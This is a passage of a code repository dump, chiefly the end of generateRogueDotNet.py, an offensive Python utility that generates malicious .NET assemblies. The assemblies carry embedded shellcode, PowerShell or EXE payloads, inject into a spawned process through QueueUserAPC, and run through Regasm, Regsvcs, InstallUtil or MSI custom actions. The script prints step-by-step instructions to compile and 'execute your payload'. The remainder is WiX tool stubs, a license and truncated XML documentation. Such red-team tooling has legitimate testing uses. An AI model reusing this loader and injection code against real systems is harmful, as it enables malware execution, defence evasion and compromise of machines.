uint dwProcessId; 396 | public uint dwThreadId; 397 | } 398 | 399 | public struct STARTUPINFO 400 | { 401 | public uint cb; 402 | public string lpReserved; 403 | public string lpDesktop; 404 | public string lpTitle; 405 | public uint dwX; 406 | public uint dwY; 407 | public uint dwXSize; 408 | public uint dwYSize; 409 | public uint dwXCountChars; 410 | public uint dwYCountChars; 411 | public uint dwFillAttribute; 412 | public uint dwFlags; 413 | public short wShowWindow; 414 | public short cbReserved2; 415 | public IntPtr lpReserved2; 416 | public IntPtr hStdInput; 417 | public IntPtr hStdOutput; 418 | public IntPtr hStdError; 419 | } 420 | 421 | [Flags] 422 | public enum ThreadAccess : int 423 | { 424 | TERMINATE = (0x0001) , 425 | SUSPEND_RESUME = (0x0002) , 426 | GET_CONTEXT = (0x0008) , 427 | SET_CONTEXT = (0x0010) , 428 | SET_INFORMATION = (0x0020) , 429 | QUERY_INFORMATION = (0x0040) , 430 | SET_THREAD_TOKEN = (0x0080) , 431 | IMPERSONATE = (0x0100) , 432 | DIRECT_IMPERSONATION = (0x0200) 433 | } 434 | 435 | [DllImport("kernel32.dll", SetLastError = true)] 436 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, 437 | int dwThreadId); 438 | 439 | [DllImport("kernel32.dll",SetLastError = true)] 440 | public static extern bool WriteProcessMemory( 441 | IntPtr hProcess, 442 | IntPtr lpBaseAddress, 443 | byte[] lpBuffer, 444 | int nSize, 445 | out IntPtr lpNumberOfBytesWritten); 446 | 447 | [DllImport("kernel32.dll")] 448 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 449 | 450 | [DllImport("kernel32")] 451 | public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, 452 | Int32 size, UInt32 flAllocationType, UInt32 flProtect); 453 | 454 | [DllImport("kernel32.dll", SetLastError = true )] 455 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 456 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 457 | 458 | [DllImport("kernel32.dll", SetLastError = true)] 459 | public static extern IntPtr OpenProcess( 460 | ProcessAccessFlags processAccess, 461 | bool bInheritHandle, 462 | int processId 463 | ); 464 | 465 | [DllImport("kernel32.dll")] 466 | public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, 467 | bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, 468 | string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 469 | 470 | [DllImport("kernel32.dll")] 471 | public static extern uint ResumeThread(IntPtr hThread); 472 | 473 | [DllImport("kernel32.dll")] 474 | public static extern uint SuspendThread(IntPtr hThread); 475 | 476 | [DllImport("kernel32.dll")] 477 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, 478 | int dwSize, uint flNewProtect, out uint lpflOldProtect); 479 | 480 | ''').safe_substitute( 481 | decompressionFuncs=decompressionFuncs, 482 | templateName=templateName, 483 | payloadCode=payloadCode, 484 | targetProcess=targetProcess 485 | ) 486 | 487 | launchCode = shellcodeLoader 488 | 489 | elif _type not in ['exec', 'run-command']: 490 | powershellLaunchCode = string.Template(''' 491 | $decompressionFuncs 492 | 493 | public static bool Execute() { 494 | 495 | string shellcode = ""; 496 | $payloadCode 497 | byte[] payload = DecompressString(shellcode); 498 | string decoded = System.Text.Encoding.UTF8.GetString(payload); 499 | 500 | Runspace runspace = RunspaceFactory.CreateRunspace(); 501 | runspace.Open(); 502 | 503 | Pipeline pipeline = runspace.CreatePipeline(); 504 | pipeline.Commands.AddScript(decoded); 505 | pipeline.Invoke(); 506 | 507 | runspace.Close(); 508 | return true; 509 | } 510 | 511 | ''').safe_substitute( 512 | decompressionFuncs=decompressionFuncs, 513 | payload2=base64.b64encode(payload.encode()).decode() 514 | ) 515 | 516 | launchCode = powershellLaunchCode 517 | 518 | namespaceStart = 'namespace ' + namespaceName + ' {' 519 | namespaceStop = '}' 520 | 521 | if dontUseNamespace: 522 | namespaceStart = namespaceStop = '' 523 | 524 | assemblyAdditions1 = ''' 525 | 526 | /* 527 | Author: Casey Smith, Twitter: @subTee 528 | Customized by: Mariusz B. / mgeeky, 529 | License: BSD 3-Clause 530 | 531 | Step 1: Create Your Strong Name Key -> key.snk 532 | 533 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' 534 | $Content = [System.Convert]::FromBase64String($key) 535 | Set-Content key.snk -Value $Content -Encoding Byte 536 | 537 | Step 2: Compile source code: 538 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs 539 | 540 | Step 3: Execute your payload! 541 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe rogue.dll 542 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe /U rogue.dll 543 | 544 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe rogue.dll 545 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U rogue.dll 546 | 547 | %WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 548 | # %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 549 | */ 550 | 551 | 552 | ''' 553 | assemblyAdditions2 = ''' 554 | 555 | // This executes if registration is successful 556 | [ComRegisterFunction] 557 | public static void RegisterClass( string key ) 558 | { 559 | Execute(); 560 | } 561 | 562 | // This executes if registration fails 563 | [ComUnregisterFunction] 564 | public static void UnRegisterClass( string key ) 565 | { 566 | Execute(); 567 | } 568 | 569 | ''' 570 | 571 | assemblyAdditions3 = string.Template(''' 572 | 573 | [System.ComponentModel.RunInstaller(true)] 574 | public class ForInstallUtil : System.Configuration.Install.Installer 575 | { 576 | // This executes during InstallUtil /U invocation 577 | public override void Uninstall(System.Collections.IDictionary savedState) 578 | { 579 | $templateName.Execute(); 580 | } 581 | } 582 | 583 | ''').safe_substitute(templateName=templateName) 584 | 585 | assemblyAdditions4 = ' : ServicedComponent' 586 | 587 | if _type != 'regasm': 588 | assemblyAdditions1 = assemblyAdditions2 = '' 589 | assemblyAdditions3 = assemblyAdditions4 = '' 590 | 591 | if _type == 'exec': 592 | launchCode = ''' 593 | 594 | public static bool Execute() { 595 | string fullPath = @""; 596 | 597 | if(String.IsNullOrEmpty(fullPath)) { 598 | return false; 599 | } 600 | 601 | ProcessStartInfo psi = new ProcessStartInfo(); 602 | psi.FileName = Path.GetFileName(fullPath); 603 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath); 604 | 605 | string args = ""; 606 | if(fullPath[0] == '"') 607 | { 608 | int pos = fullPath.IndexOf("\\"", 1); 609 | if(pos != -1) 610 | { 611 | psi.FileName = Path.GetFileName(fullPath.Substring(1, pos)); 612 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1, pos)); 613 | 614 | if (pos + 2 < fullPath.Length && fullPath[pos + 2] == ' ') 615 | { 616 | args = fullPath.Substring(pos + 2); 617 | } 618 | } 619 | else 620 | { 621 | psi.FileName = Path.GetFileName(fullPath.Substring(1)); 622 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1)); 623 | } 624 | } 625 | else if(fullPath.IndexOf(" ") == -1 && fullPath.IndexOf("\\\\") == -1) 626 | { 627 | Process.Start(fullPath); 628 | return true; 629 | } 630 | else 631 | { 632 | int pos = fullPath.IndexOf(" "); 633 | if (pos != -1) 634 | { 635 | psi.FileName = Path.GetFileName(fullPath.Substring(0, pos)); 636 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(0, pos)); 637 | 638 | if (pos + 1 < fullPath.Length) 639 | { 640 | args = fullPath.Substring(pos + 1); 641 | } 642 | } 643 | } 644 | 645 | psi.Arguments = args; 646 | Process.Start(psi); 647 | 648 | return true; 649 | } 650 | 651 | '''.replace('', payloadCode) 652 | 653 | elif _type == 'run-command': 654 | launchCode = ''' 655 | 656 | public static bool Execute() { 657 | return true; 658 | } 659 | 660 | public static bool Execute(string command) { 661 | if(String.IsNullOrEmpty(command)) { 662 | return false; 663 | } 664 | 665 | string fullPath = command; 666 | ProcessStartInfo psi = new ProcessStartInfo(); 667 | psi.FileName = Path.GetFileName(fullPath); 668 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath); 669 | 670 | string args = ""; 671 | if(fullPath[0] == '"') 672 | { 673 | int pos = fullPath.IndexOf("\\"", 1); 674 | if(pos != -1) 675 | { 676 | psi.FileName = Path.GetFileName(fullPath.Substring(1, pos)); 677 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1, pos)); 678 | 679 | if (pos + 2 < fullPath.Length && fullPath[pos + 2] == ' ') 680 | { 681 | args = fullPath.Substring(pos + 2); 682 | } 683 | } 684 | else 685 | { 686 | psi.FileName = Path.GetFileName(fullPath.Substring(1)); 687 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1)); 688 | } 689 | } 690 | else if(fullPath.IndexOf(" ") == -1 && fullPath.IndexOf("\\\\") == -1) 691 | { 692 | Process.Start(fullPath); 693 | return true; 694 | } 695 | else 696 | { 697 | int pos = fullPath.IndexOf(" "); 698 | if (pos != -1) 699 | { 700 | psi.FileName = Path.GetFileName(fullPath.Substring(0, pos)); 701 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(0, pos)); 702 | 703 | if (pos + 1 < fullPath.Length) 704 | { 705 | args = fullPath.Substring(pos + 1); 706 | } 707 | } 708 | } 709 | 710 | psi.Arguments = args; 711 | Process.Start(psi); 712 | 713 | return true; 714 | } 715 | 716 | '''.replace('', payloadCode) 717 | 718 | method = f'public void {methodName}(string command)' 719 | msiUsing = '' 720 | msiReturn = '' 721 | 722 | if globalOptions['msi_mode']: 723 | msiUsing = 'using Microsoft.Deployment.WindowsInstaller;' 724 | msiReturn = 'return ActionResult.Success;' 725 | method = f'''[CustomAction] 726 | public static ActionResult {methodName}(Session session)''' 727 | 728 | template = string.Template(''' 729 | 730 | $assemblyAdditions1 731 | 732 | using System.Management.Automation; 733 | using System.Management.Automation.Runspaces; 734 | using Microsoft.Build.Framework; 735 | //using Microsoft.Build.Utilities; 736 | using System; 737 | using System.Diagnostics; 738 | using System.Reflection; 739 | using System.EnterpriseServices; 740 | using System.Runtime.InteropServices; 741 | using System.IO; 742 | using System.IO.Compression; 743 | using System.Text; 744 | $msiUsing 745 | 746 | $namespaceStart 747 | 748 | [ComVisible(true)] 749 | public class $templateName $assemblyAdditions4 750 | { 751 | public $templateName() 752 | { 753 | Execute(); 754 | } 755 | 756 | $method 757 | { 758 | Execute($runCommand); 759 | $msiReturn 760 | } 761 | 762 | $assemblyAdditions2 763 | 764 | $launchCode 765 | } 766 | 767 | $assemblyAdditions3 768 | 769 | $namespaceStop 770 | 771 | ''').safe_substitute( 772 | namespaceStart=namespaceStart, 773 | launchCode=launchCode, 774 | templateName=templateName, 775 | assemblyAdditions1=assemblyAdditions1, 776 | assemblyAdditions2=assemblyAdditions2, 777 | assemblyAdditions3=assemblyAdditions3, 778 | assemblyAdditions4=assemblyAdditions4, 779 | runCommand='command' if _type == 'run-command' else '', 780 | method=method, 781 | msiReturn=msiReturn, 782 | msiUsing=msiUsing, 783 | namespaceStop=namespaceStop, 784 | ) 785 | 786 | return template, templateName 787 | 788 | 789 | def detectFileIsExe(filePath, forced=False): 790 | try: 791 | pe = pefile.PE(filePath) 792 | return True 793 | except pefile.PEFormatError as e: 794 | return False 795 | 796 | 797 | def opts(argv): 798 | parser = argparse.ArgumentParser(prog=argv[0], usage='%(prog)s [options] ') 799 | parser.add_argument('inputFile', help='Input file to embedded into C# source code for --type regasm|plain. If --type exec was given, this parameter specifies command line to execute by the resulting assembly (environment variables will get expanded). May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.') 800 | 801 | parser.add_argument('-t', '--type', choices=['regasm', 'plain', 'exec', 'run-command'], help='Specifies type of source code template to choose from while generating rogue .NET assembly. "regasm" - generates a template compatible with Regasm/Regsvcs/InstallUtil code execution primitives, "plain" - just a simple plain assembly with embedded shellcode/ps1/exe, "exec" - a simple shell command execution assembly which takes a command specified in "inputFile|cmdline" required parameter and embeds it hardcoded into the code, "run-command" exposes a method named --method which takes one string parameter being a command to run. Default: regasm') 802 | parser.add_argument('-c', '--compile', choices=['nocompile', 'x86', 'x64'], default='nocompile', 803 | help='Compile the source code using x86 or x64 csc.exe and generate output EXE/DLL file depending on --output extension. Default: nocompile - meaning the script will only produce .cs source code rather than compiled binary file.') 804 | parser.add_argument('-o', '--output', metavar='PATH', default='', type=str, 805 | help='Output path where to write generated script. Default: stdout') 806 | parser.add_argument('-s', '--namespace', metavar='NAME', default='ProgramNamespace', type=str, 807 | help='Specifies custom C# module namespace for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: ProgramNamespace.') 808 | parser.add_argument('-n', '--module', metavar='NAME', default='Program', type=str, 809 | help='Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: Program.') 810 | parser.add_argument('-m', '--method', metavar='NAME', default='Foo', type=str, 811 | help='Specifies method name that could be used by DotNetToJS and alike deserialization techniques to invoke our shellcode. Default: Foo') 812 | parser.add_argument('-e', '--exe', action='store_true', 813 | help='Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') 814 | parser.add_argument('-r', '--raw', action='store_true', 815 | help='Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)') 816 | parser.add_argument('-M', '--msi-mode', action='store_true', 817 | help='Compiled .NET assembly is to be used with MSI installer') 818 | parser.add_argument('-C', '--extra-params', metavar='PARAMS', default='', 819 | help='Additional parameters to add to CSC compiler') 820 | parser.add_argument('--dotnet-ver', choices=['v2', 'v4'], default='v2', 821 | help='Use specific .NET version for compilation (with --compile given). Default: v2') 822 | parser.add_argument('--queue-apc', action='store_true', 823 | help='If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.') 824 | parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe', 825 | help=r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"') 826 | 827 | args = parser.parse_args() 828 | 829 | if args.exe and args.raw: 830 | sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n') 831 | sys.exit(-1) 832 | 833 | args.target_process = args.target_process.replace("^%", '%') 834 | 835 | return args 836 | 837 | def main(argv): 838 | global globalOptions 839 | 840 | sys.stderr.write(''' 841 | :: Rogue .NET Source Code Generation Utility 842 | Comes with a few hardcoded C# code templates and an easy wrapper around csc.exe compiler 843 | Mariusz B. / mgeeky, 844 | 845 | ''') 846 | if len(argv) < 2: 847 | print('Usage: ./generateRogueDotNet.py ') 848 | sys.exit(-1) 849 | 850 | args = opts(argv) 851 | globalOptions = vars(args) 852 | 853 | _format = 'powershell' 854 | 855 | if len(args.inputFile) > 0 and not os.path.isfile(args.inputFile) and args.type not in TYPES_NOT_NEEDING_INPUT_FILE: 856 | sys.stderr.write(f'[?] Input file does not exists: "{args.inputFile}"\n\n') 857 | return False 858 | 859 | if args.type not in TYPES_NOT_NEEDING_INPUT_FILE: 860 | if args.exe: 861 | if not detectFileIsExe(args.inputFile, args.exe): 862 | sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') 863 | return False 864 | 865 | _format = 'exe' 866 | sys.stderr.write('[?] File recognized as PE/EXE.\n\n') 867 | try: 868 | with open(args.inputFile, 'rb') as f: 869 | payload = f.read() 870 | except OSError: 871 | sys.stderr.write('[!] Could not open input shellcode file. Possibly due to AV intervention?') 872 | sys.exit(1) 873 | 874 | elif args.raw: 875 | _format = 'raw' 876 | sys.stderr.write('[?] File specified as raw Shellcode.\n\n') 877 | try: 878 | with open(args.inputFile, 'rb') as f: 879 | payload = f.read() 880 | except OSError: 881 | sys.stderr.write('[!] Could not open input shellcode file. Possibly due to AV intervention?') 882 | sys.exit(1) 883 | else: 884 | sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') 885 | 886 | if args.inputFile.endswith('.exe'): 887 | return False 888 | 889 | payload = getCompressedPayload(args.inputFile, _format != 'powershell') 890 | else: 891 | payload = args.inputFile 892 | 893 | output, templateName = getSourceFileContents( 894 | args.module, 895 | args.namespace, 896 | args.method, 897 | payload, 898 | _format, 899 | args.queue_apc, 900 | args.target_process, 901 | dontUseNamespace=False, 902 | _type=args.type 903 | ) 904 | 905 | print(f'''Generated .NET assembly will expose: 906 | 907 | Namespace : {args.namespace} 908 | Classname : {args.module} 909 | Method name : {args.method} 910 | ''') 911 | 912 | management = ' /r:System.Management.Automation.dll /r:Microsoft.Build.Framework.dll' 913 | srcfile = '' 914 | 915 | if len(args.extra_params) > 0: 916 | management += args.extra_params 917 | 918 | if args.msi_mode: 919 | path = os.path.normpath(os.path.abspath(os.path.dirname(__file__))) 920 | management += f' /r:"{path}\\Microsoft.Deployment.WindowsInstaller.dll"' 921 | 922 | if args.compile != 'nocompile': 923 | if not args.output: 924 | print('[!] --output must be specified to compile file.') 925 | sys.exit(1) 926 | 927 | with tempfile.NamedTemporaryFile() as f: 928 | srcfile = f.name + '.cs' 929 | 930 | target = 'winexe' 931 | if args.output.lower().endswith('.dll'): 932 | target = 'library' 933 | else: 934 | output = output.replace('public ' + templateName + '()', 'static public void Main(String[] args)') 935 | 936 | with open(srcfile, 'w', encoding='utf8') as f: 937 | f.write(output) 938 | 939 | p = COMPILER_BASE.replace('', COMPILERS[args.dotnet_ver]) 940 | 941 | if args.compile == 'x64': 942 | p = p.replace('', '64') 943 | else: 944 | p = p.replace('', '') 945 | 946 | if args.type == 'regasm': 947 | cmd = p + ' /o+ /r:System.EnterpriseServices.dll{} /target:{} /out:"{}" /keyfile:key.snk "{}"'.format( 948 | management, target, args.output, srcfile 949 | ) 950 | else: 951 | cmd = p + ' /o+ /r:System.EnterpriseServices.dll{} /target:{} /out:"{}" "{}"'.format( 952 | management, target, args.output, srcfile 953 | ) 954 | 955 | if os.path.isfile(args.output): 956 | os.remove(args.output) 957 | 958 | print('Compiling as .NET ' + COMPILERS[args.dotnet_ver] + ':\n\t' + cmd + '\n') 959 | out = shell(os.path.expandvars(cmd)) 960 | 961 | try: 962 | print(out) 963 | except Exception as e: 964 | print('[!] Error - non printable output coming from csc.exe compiler. Ignoring it...') 965 | 966 | if os.path.isfile(args.output): 967 | print('[+] Success') 968 | else: 969 | if os.path.isfile(srcfile): 970 | os.remove(srcfile) 971 | return 1 972 | 973 | else: 974 | if len(args.output) > 0: 975 | with open(args.output, 'w', encoding='utf8') as f: 976 | f.write(output) 977 | else: 978 | print(output) 979 | 980 | commands = ''' 981 | 982 | ===================================== 983 | NEXT STEPS: 984 | 985 | Step 1: Create Your Strong Name Key -> key.snk (or use the one provided in this directory) 986 | 987 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' 988 | $Content = [System.Convert]::FromBase64String($key) 989 | Set-Content key.snk -Value $Content -Encoding Byte 990 | 991 | Step 2: Compile source code: 992 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll{} /target:library /out:rogue.dll /keyfile:key.snk program.cs 993 | 994 | Step 3: Execute your payload! 995 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe rogue.dll 996 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U rogue.dll 997 | 998 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe rogue.dll 999 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe /U rogue.dll 1000 | 1001 | %WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 1002 | %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 1003 | '''.format(management) 1004 | 1005 | if 'PROGRAMFILES(X86)' in os.environ: 1006 | commands = commands.replace('Framework\\', 'Framework64\\') 1007 | 1008 | if args.type == 'regasm': 1009 | sys.stderr.write(commands) 1010 | elif args.type == 'plain': 1011 | 1012 | sys.stderr.write('[?] Generated plain assembly\'s source code/executable.\n') 1013 | elif args.type in ['exec', 'run-command']: 1014 | 1015 | sys.stderr.write('[?] Generated command line executing assembly\'s source code/executable.\n') 1016 | 1017 | if os.path.isfile(srcfile): 1018 | os.remove(srcfile) 1019 | 1020 | if __name__ == '__main__': 1021 | main(sys.argv) 1022 | -------------------------------------------------------------------------------- /tools/rogue-dot-net/key.snk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/rogue-dot-net/key.snk -------------------------------------------------------------------------------- /tools/wix/DTF.chm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/DTF.chm -------------------------------------------------------------------------------- /tools/wix/LICENSE.TXT: -------------------------------------------------------------------------------- 1 | Copyright (c) .NET Foundation and contributors. 2 | This software is released under the Microsoft Reciprocal License (MS-RL) (the "License"); you may not use the software except in compliance with the License. 3 | 4 | The text of the Microsoft Reciprocal License (MS-RL) can be found online at: 5 | http://opensource.org/licenses/ms-rl 6 | 7 | 8 | Microsoft Reciprocal License (MS-RL) 9 | 10 | This license governs use of the accompanying software. If you use the software, you accept this license. If you do not accept the license, do not use the software. 11 | 12 | 1. Definitions 13 | The terms "reproduce," "reproduction," "derivative works," and "distribution" have the same meaning here as under U.S. copyright law. 14 | A "contribution" is the original software, or any additions or changes to the software. 15 | A "contributor" is any person that distributes its contribution under this license. 16 | "Licensed patents" are a contributor's patent claims that read directly on its contribution. 17 | 18 | 2. Grant of Rights 19 | (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create. 20 | (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software. 21 | 22 | 3. Conditions and Limitations 23 | (A) Reciprocal Grants- For any file you distribute that contains code from the software (in source code or binary format), you must provide recipients the source code to that file along with a copy of this license, which license will govern that file. You may license other files that are entirely your own work and do not contain code from the software under any terms you choose. 24 | (B) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks. 25 | (C) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically. 26 | (D) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software. 27 | (E) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license. 28 | (F) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement. 29 | -------------------------------------------------------------------------------- /tools/wix/MakeSfxCA.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/MakeSfxCA.exe -------------------------------------------------------------------------------- /tools/wix/MakeSfxCA.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /tools/wix/Microsoft.Deployment.Compression.Cab.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.Compression.Cab.dll -------------------------------------------------------------------------------- /tools/wix/Microsoft.Deployment.Compression.Cab.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Microsoft.Deployment.Compression.Cab 5 | 6 | 7 | 8 | 9 | Disposes of resources allocated by the cabinet engine. 10 | 11 | If true, the method has been called directly or indirectly by a user's code, 12 | so managed and unmanaged resources will be disposed. If false, the method has been called by the 13 | runtime from inside the finalizer, and only unmanaged resources will be disposed. 14 | 15 | 16 | 17 | Engine capable of packing and unpacking archives in the cabinet format. 18 | 19 | 20 | 21 | 22 | Creates a new instance of the cabinet engine. 23 | 24 | 25 | 26 | 27 | Disposes of resources allocated by the cabinet engine. 28 | 29 | If true, the method has been called directly 30 | or indirectly by a user's code, so managed and unmanaged resources 31 | will be disposed. If false, the method has been called by the runtime 32 | from inside the finalizer, and only unmanaged resources will be 33 | disposed. 34 | 35 | 36 | 37 | Creates a cabinet or chain of cabinets. 38 | 39 | A context interface to handle opening 40 | and closing of cabinet and file streams. 41 | The paths of the files in the archive (not 42 | external file paths). 43 | The maximum number of bytes for one 44 | cabinet before the contents are chained to the next cabinet, or zero 45 | for unlimited cabinet size. 46 | The cabinet could not be 47 | created. 48 | 49 | The stream context implementation may provide a mapping from the 50 | file paths within the cabinet to the external file paths. 51 | Smaller folder sizes can make it more efficient to extract 52 | individual files out of large cabinet packages. 53 | 54 | 55 | 56 | 57 | Checks whether a Stream begins with a header that indicates 58 | it is a valid cabinet file. 59 | 60 | Stream for reading the cabinet file. 61 | True if the stream is a valid cabinet file 62 | (with no offset); false otherwise. 63 | 64 | 65 | 66 | Gets information about files in a cabinet or cabinet chain. 67 | 68 | A context interface to handle opening 69 | and closing of cabinet and file streams. 70 | A predicate that can determine 71 | which files to process, optional. 72 | Information about files in the cabinet stream. 73 | The cabinet provided 74 | by the stream context is not valid. 75 | 76 | The predicate takes an internal file 77 | path and returns true to include the file or false to exclude it. 78 | 79 | 80 | 81 | 82 | Extracts files from a cabinet or cabinet chain. 83 | 84 | A context interface to handle opening 85 | and closing of cabinet and file streams. 86 | An optional predicate that can determine 87 | which files to process. 88 | The cabinet provided 89 | by the stream context is not valid. 90 | 91 | The predicate takes an internal file 92 | path and returns true to include the file or false to exclude it. 93 | 94 | 95 | 96 | 97 | Disposes of resources allocated by the cabinet engine. 98 | 99 | If true, the method has been called directly or indirectly by a user's code, 100 | so managed and unmanaged resources will be 